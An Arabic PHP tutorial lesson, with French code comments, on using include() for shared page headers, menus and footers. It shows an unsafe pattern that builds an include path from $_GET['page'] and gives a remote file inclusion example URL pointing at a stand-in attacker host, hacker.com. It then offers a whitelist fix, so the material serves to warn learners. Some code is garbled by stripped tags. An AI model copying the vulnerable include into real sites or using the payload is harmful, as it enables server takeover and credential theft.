على بركة الله نبدأ الدرس الأول من الفصل الثالث
الفصل الثالث :قوة لغة PHP
أولا أهلا وسهلا بكــم في الفصل الثالث
كما يدل اسمه - قوة لغة PHP – سيكون فصلا غنيا بتقنيات وإمكانات لغة PHP
نستهل الفصل الثالث بتقديم الدرس الأول الذي يخص دوال الأحتواءات : Includes وكيفية التعامل معها.
ووراء هذا الاسم يوجد العديد من دوال PHP الأكثر استعمالا.
أضمن لكم مباشرة بعد نهاية هذا الدرس أن مظهر موقعكم سيتغير جذريا .
* الإحتواءات : Includesعادة وأنتم تتصفحون مواقع على الانترنت تلاحظون أن مقدمة الصفحات أو رؤوسها ( header ) وأيضا ذيولها ( footer ) تكون متشابهة وحقيقة الأمر فهي ليس متشابهة بل أكثر من ذلك فهي نفسها.حيث يتم إقحامها في جل الصفحات حتى لا نعاود برمجتها ونستغل بذلك وقتنا في برمجة محتوى الصفحة.
و بهذا يكون الاختلاف دائما في محتوى الصفحة ( في النصف ) وهذا ما نسميه ( body )
لنقم بمشاهدة مثال على ذلك حتى يتضح لكم مانتكلم عليه :
*الدالة : include سنتحدث في هذا الدرس عن الدالة: includeفهي سهلة الاستعمال وتستعمل كثيرا في برمجة المواقع في لغة PHP لأنها جد قوية وفعالة.
ما الذي تقوم به هاته الدالة ؟
بسهل العبارة: تقوم هذه الدالة بإقحام محتوى صفحة PHP في صفحة PHP أخرى.
فهي جد فعالة كما قلت لكم سابقا, فتخيلوا معي لو أن موقعكم به قائمة تحوي معظم الروابط الرئيسية للموقع وهذه القائمة يجب عليكم أن تدرجونها في جميع صفحات الموقع ولتكن الصفحة هي menu.php.
إلى حد الآن وجب عليكم نقل الأكواد الخاصة بهذه القائمة ودرجها في جميع صفحات PHP .
ممتاز.لكن إذا رغبتم في تعديل هذه القائمة فيلزمكم تعديل جميع صفحات موقعكم
بفضل الدالة include يمكنكم أن تطلبوا من PHP بوضع صفحتكم في باقي صفحات الموقع. PHP سيأخذ محتوى الصفحة menu.php وسيضعه في المكان الذي حددتموه أنتم.
ناهيك عن أنه إذا أردت تعديل القائمة فيلزمك فقط الرجوع إلى الصفحة menu.php والتعديل عليها وصفحات موقعكم سيقوم PHP بتحديثها آليا عند إدراج القائمة.بالفعل إنه شيء رائع
وهذا الكود الخاص بإدراج القائمة في صفحات الموقع الأخرى :
كود PHP:
include("menu.php");
?> إنه كود سهل جدا .عندما يصادف PHP العبارة include يقوم بالبحث عن الصفحة menu.php ويضعها بالمكان المتواجد به هاته العبارة .
سأقدم لكم صورة لموقع يستعمل هاته العبارة :
الصفحة index.php تحتوي على عبارتين include : haut.php رأس الصفحة و menu.php قائمة الموقع .بعد ذلك يأتي المحتوى الرئيسي للصفحة index.php
الكود PHP الخاص بهذه الصفحة :
كود PHP:
// On inclue le haut de la page
include("haut.php");
?>
// Maintenant on met le code de notre page (ce qu'on veut)
// Ce code peut bien entendu contenir du PHP comme du HTML
?>
Un site dynamique avec PHP !
Mais pourquoi tous les sites web se mettent au PHP ? Que peut-on faire avec ?
Et pis, c'est quoi PHP ???
Hola hola, pas de panique amis Zér0s, ce tutorial est là pour tout vous expliquer )...
لدينا في بداية الأمر عبارتي include للصفحتين haut.php et menu.php وبعد ذلك أقحمنا الكود الخاص بصفحتنا الرئيسية.وجميع صفحات الموقع تشتغل على هذا المنوال.
سأعطيكم مثالا لكيفية استغلال هذه العبارة السهلة في تطوير مواقعنا :
-إظهــار عنوان الموقع بجميع الصفحات
*تمكننا الدالة include من إضافة عنوان الموقع بطريقة سهلة لدا سنقوم بإنشاء ملف تحت الإسم : titre.php ونقوم بعد ذلك بإقحامه داخل صفحات الموقع.
مثال:*صفحة العنوان : titre.php
كود PHP:
<h2>My first Web Siteh2>
*إحدى صفحات الموقع:
كود PHP:
include("titre.php"); ?>
Ceci est une page d'exemple de notre site web.
Toutes les pages du site ont cet include en haut, pour afficher le titre du site sur toutes les pages.
Si le site change de nom, il nous suffira de modifier uniquement "titre.php", et toutes les pages du site, comme celle-ci, seront mises à jour !
وبذلكـ نحصل على صفحة واحدة من صفحتين :
عندما يطلب المتصفح الصفحة test.php العبارة include تعوض بالأسطر المكتوبة في الملف titre.php
وفي نهاية الأمر ستكون الصفحة التي ستظهر في المتصفح على الشكل التالي :
كود PHP:
<h2> My first Web Site h2>
<p>
Ceci est une page d'exemple de notre site web.
Toutes les pages du site ont cet include en haut, pour afficher le titre du site sur toutes les pages.
Si le site change de nom, il nous suffira de modifier uniquement "titre.php", et toutes les pages du site, comme celle-ci, seront mises à jour !
جد سهلة ,أليس كذلك ؟
الاستعمال الخاطئ لهاته العبارة يمكن أن يودي بحياة موقعكــم
فاحذر !!!
دعونا نرى طرق استعمال عبارة include.
لأستعمـــــال أفضل للأحتواءات
*كيفية استعمال include : -الطريقة الأولى: السليمـــة هذا الاسم ليس اسمها العملي إنما هو اسم أعطيته لها أنا .نظرا لأنني أراها هكذا .
هذه الطريقة لها ايجابية و سلبية دعوني أقربكم من الصورة :
*الايجابية : ليس أمامكم أي خطر لاقتحام أو اختراق موقعكم أو أي شيء من هذا القبيل -لهذا أفضلها -
*السلبية : إذا أردتم أن تغيروا منظر موقعكم كاملا فمن الممكن - قلت من الممكن !- أن تعدلوا جميع صفحات موقعكم
لهذا فهي أقل عملية إلا أنها الطريقة الأكيدة والسليمة.
هذه الطريقة سهلة الاستعمال وتٌجب نسخ عبارة include في جميع صفحات موقعكم
مثال :
كود PHP:
include("haut.php"); ?>
Ceci est une page X de votre site.
Tout le code de vos pages ressemble à ceci : il y a un include en haut, et un include en bas.
include("bas.php"); ?> في الصفحتين haut.php و bas.php ضعوا ماتريدونه من الكود PHP
على سبيل المثال في الصفحة سأضع عنوان الموقع والوسوم , ,
وإذا اقتدت الضرورة وكنت أستعمل قاعدة بيانات MySql سأضع الكود الذي يمكنني من ربطها بال PHP
أتذكرون كيف ذلك ؟
وفي صفحة bas.php سأضع The copyright واسمي أنا كالويب ماستر : webmaster ووسوم النهاية et
وإن استعملت قاعدة البيانات سأقوم بغلق الاتصال بينها وبين PHP.
أظن أنكم فهمتم لماذا أفضلها
-الطريقة الثانية: الخطرة
كما رأينا مع الطريقة الأولى فإن لهذه الطريقة أيضا ايجابية وسلبية :
*الايجابية : يمكننا بكل سهولة أن نغير مظهر موقعنا في لمحة بصر وبدون أي مشكلة.
*السلبية : إذا لم تأخذوا حذركم من كتابة الكود الخاص بهذه الطريقة فإن موقعكم سيكون في خبر كان أو على الأقل سيتم التعرف على كلمة سر قاعدة بياناتكم مثلا.
إلا أن هذه الطريقة فهي مستعملة من طرف مواقع لابأس بها إلا أني لا أنصحكم بها .
هذه الطريقة هي عكس سابقتها في كيفية إقحام عبارة include : فعوض أن ندرج مقدمة الصفحة: haut.php في جميع الصفحات والقائمة أو ذيلها ,نقوم بإنشاء صفحة موجود بها الأكواد التي ممكن أن تكون في مقدمة الصفحة أو ذيلها كوسوم البداية : , , و The copyright ووسوم النهاية وغيرها .أما محتوى الصفحة هو من نقوم بإقحامه عن طريق العبارة include .إذا كما لاحظتم فإن عمل الطريقة الأولى فهو عكسي تماما للثانية.
مثال : سنقوم بإدراج صفحة minichat.php عن طريق العبارة include :
كود PHP:
Mon super site !
include("minichat.php"); ?>
Ce site a été écrit par Mateo21.
وإذا أردت إقحام صفحة أخرى, كيف سأقوم بذلك؟ سأنشئ صفحة أخرى وأدرج داخلها الصفحة المعينة ؟
لا ليس ملزما
الشيء الذي يمكن أن نستغله في إظهار عدد من الصفحات بوجود صفحة واحدة كالصفحة السابقة هو أن نستعمل نقل متغير لأسم الصفحة المراد إقحامها عن طريق رابط الصفحة المصدر .
تتذكرون index.php?langue=fr ؟
في جميع صفحات الموقع سنقوموا بنقل معلومة تحوي إسم الصفحة المراد إدراجها
مثال : index.php?page=minichat
سنعاود كتابة الكود السابق :
كود PHP:
Mon super site !
$page = $_GET['page'];
include("$page.php");
?>
Ce site a été écrit par Mateo21.
-إذا كان الرابط هو : index.php?page=minichat سنقوموا بإقحام الصفحة minichat.php
-إذا كان الرابط هو : index.php?page= news سنقوموا بإقحام الصفحة news.php
-إذا كان الرابط هو : index.php?page= forum سنقوموا بإقحام الصفحة forum.php
-إذا كان الرابط هو : index.php?page= http://www.hacker.com/pagespeciale عندها سنقوموا بإقحام الصفحة http://www.hacker.com/pagespeciale.php
آهه ,إنتظر دقيقة. ممكن تشرح لنا المثال الأخير ؟
نعم أعرف أنه يحتاج تفسيرات ...أنظروا إلى أعلى الصفحة سترون أنه من السهل تغيير اسم الصفحة التي نريد إدراجها في صفحتنا.
كما أنه من السهل إدراج صفحة ويب من موقع آخر فلغة بي اش بي تمكننا من ذلك
وعند تغيير اسم الصفحة سيقوم بي آش بي بتنفيذ العبارة :
كود PHP:
include("http://www.hacker.com/pagespeciale.php"); ?>
وماهو الخطر الذي يمكن أن نواجهه بهذا ؟
الصفحة التي سيتعامل معها بي أش بي لانعرف محتواها بالأضافة على أنها لاتوجد على السيرفر أو الخادم الخاص بكم,فهي توجد على سيرفر آخر.
وماذا بعد ؟
جيد جدا ,ممكن أن تحوي هذه الصفحة كود يطلب من بي آش بي كلمة السر الخاصة بموقعكم
وبهذا يمكن الوصول إلى ملفات موقعكم عن طريق حساب FTP .
والقيام بتغيير ملفاتكم أو التعديل عليها كما يشاء.
لكن ليس من السهل طلب كلمة السر هكذا وثم الحصول عليها
إستيقضوا لست هنا لإعطائكم دروس القرصنة
لكن مايهمني هو أن أحسسكم بخطر ما ستقمون بكتابته لاحقا ,لدا إحذروا فالمتربصين كثر
لهذا أضع بين أيديكم حلا لهذه المشكلة :
كود PHP:
Mon super site !
if ($_GET['page'] == "minichat")
{
include("minichat.php");
}
if ($_GET['page'] == "news")
{
include("news.php");
}
if ($_GET['page'] == "forum")
{
include("forum.php");
}
?>
Ce site a été écrit par Mateo21.
هنا نضع حدا للصفحات التي سيتم إقحامها إلا أني أراها طريقة غير عملية .لهذا أفضل (وأدعوكم إلى استعمالها ) الطريقة الأولى
الى هنا نصل الى نهاية الدرس الأول من الفصل الثالث من دورتنا أتمنى أن يروقكم ولا تترددوا بطرح أي سؤال اذا كان هناك شيء غير مفهوم
الى اللقاء في الدرس القادم ان شاء الله